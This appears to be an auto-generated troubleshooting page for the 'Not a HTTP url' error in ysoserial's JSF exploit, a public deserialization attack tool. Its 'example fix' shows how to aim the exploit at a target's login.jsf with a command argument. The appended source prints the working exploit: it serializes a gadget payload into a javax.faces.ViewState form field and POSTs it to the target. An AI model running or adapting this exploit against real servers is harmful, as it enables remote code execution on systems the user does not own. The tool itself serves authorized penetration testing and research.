frohoff/ysoserial · error · IllegalArgumentException

Not a HTTP url

Error message

Not a HTTP url

What it means

JSF.main opens a URLConnection for its first argument and requires it to be an HttpURLConnection, since the exploit needs to POST form data. If the connection is not HTTP(S) (e.g. file:, ftp:, jar:), it throws IllegalArgumentException("Not a HTTP url").

Solutions

1. Pass a full http:// or https:// URL as the first argument
2. Do not pass local file paths; host the viewstate payload target as an HTTP endpoint
3. Verify the argument order — args[0] must be the URL
4. Print/validate the URL scheme before invoking JSF

Example fix

// before
java -cp ysoserial.jar ysoserial.exploit.JSF file:///tmp/payload 'cmd'
// after
java -cp ysoserial.jar ysoserial.exploit.JSF http://target:8080/login.jsf 'cmd'

URL u = new URL(args[0]);
String scheme = u.getProtocol();
if (!scheme.equals("http") && !scheme.equals("https")) {
    throw new IllegalArgumentException("JSF requires an http(s) URL, got: " + scheme);
}

static boolean isHttpUrl(String s) {
    try { String p = new URL(s).getProtocol(); return p.equals("http") || p.equals("https"); }
    catch (MalformedURLException e) { return false; }
}

try {
    JSF.main(args);
} catch (IllegalArgumentException e) {
    if (e.getMessage().equals("Not a HTTP url")) {
        // correct args[0] to a full http(s):// target URL
    }
}

When it happens

Trigger: Running JSF with a first argument whose URL scheme does not produce HttpURLConnection — e.g. file:///tmp/viewstate, ftp://host/x, or a malformed string that URL still parses with a non-http protocol.

Common situations: Passing a local file path instead of the target JSF application URL; forgetting the http:// scheme so URL defaults to an unexpected protocol; using https proxied through a custom handler that is not HttpURLConnection.

Understand the failure class

Background: "Invalid URL" / "URL cannot be empty": fix the malformed or missing URL behind request-construction failures — this error's family across 50 libraries.

Related errors

• mismatched columns
• Connect failed
• Connect timeout
• unknown transport op
• Not allowed to read object

AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/c92f68124a3bdcb8. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/exploit/JSF.java:51

 *
 */
public class JSF {

    public static void main ( String[] args ) {

        if ( args.length < 3 ) {
            System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
            System.exit(-1);
        }

        final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);

        try {
            URL u = new URL(args[ 0 ]);

            URLConnection c = u.openConnection();
            if ( ! ( c instanceof HttpURLConnection ) ) {
                throw new IllegalArgumentException("Not a HTTP url");
            }

            HttpURLConnection hc = (HttpURLConnection) c;
            hc.setDoOutput(true);
            hc.setRequestMethod("POST");
            hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
            OutputStream os = hc.getOutputStream();

            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(payloadObject);
            oos.close();
            byte[] data = bos.toByteArray();
            String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
            os.write(requestBody.getBytes("US-ASCII"));
            os.close();

            System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());

View on GitHub (pinned to 218bcffcaa)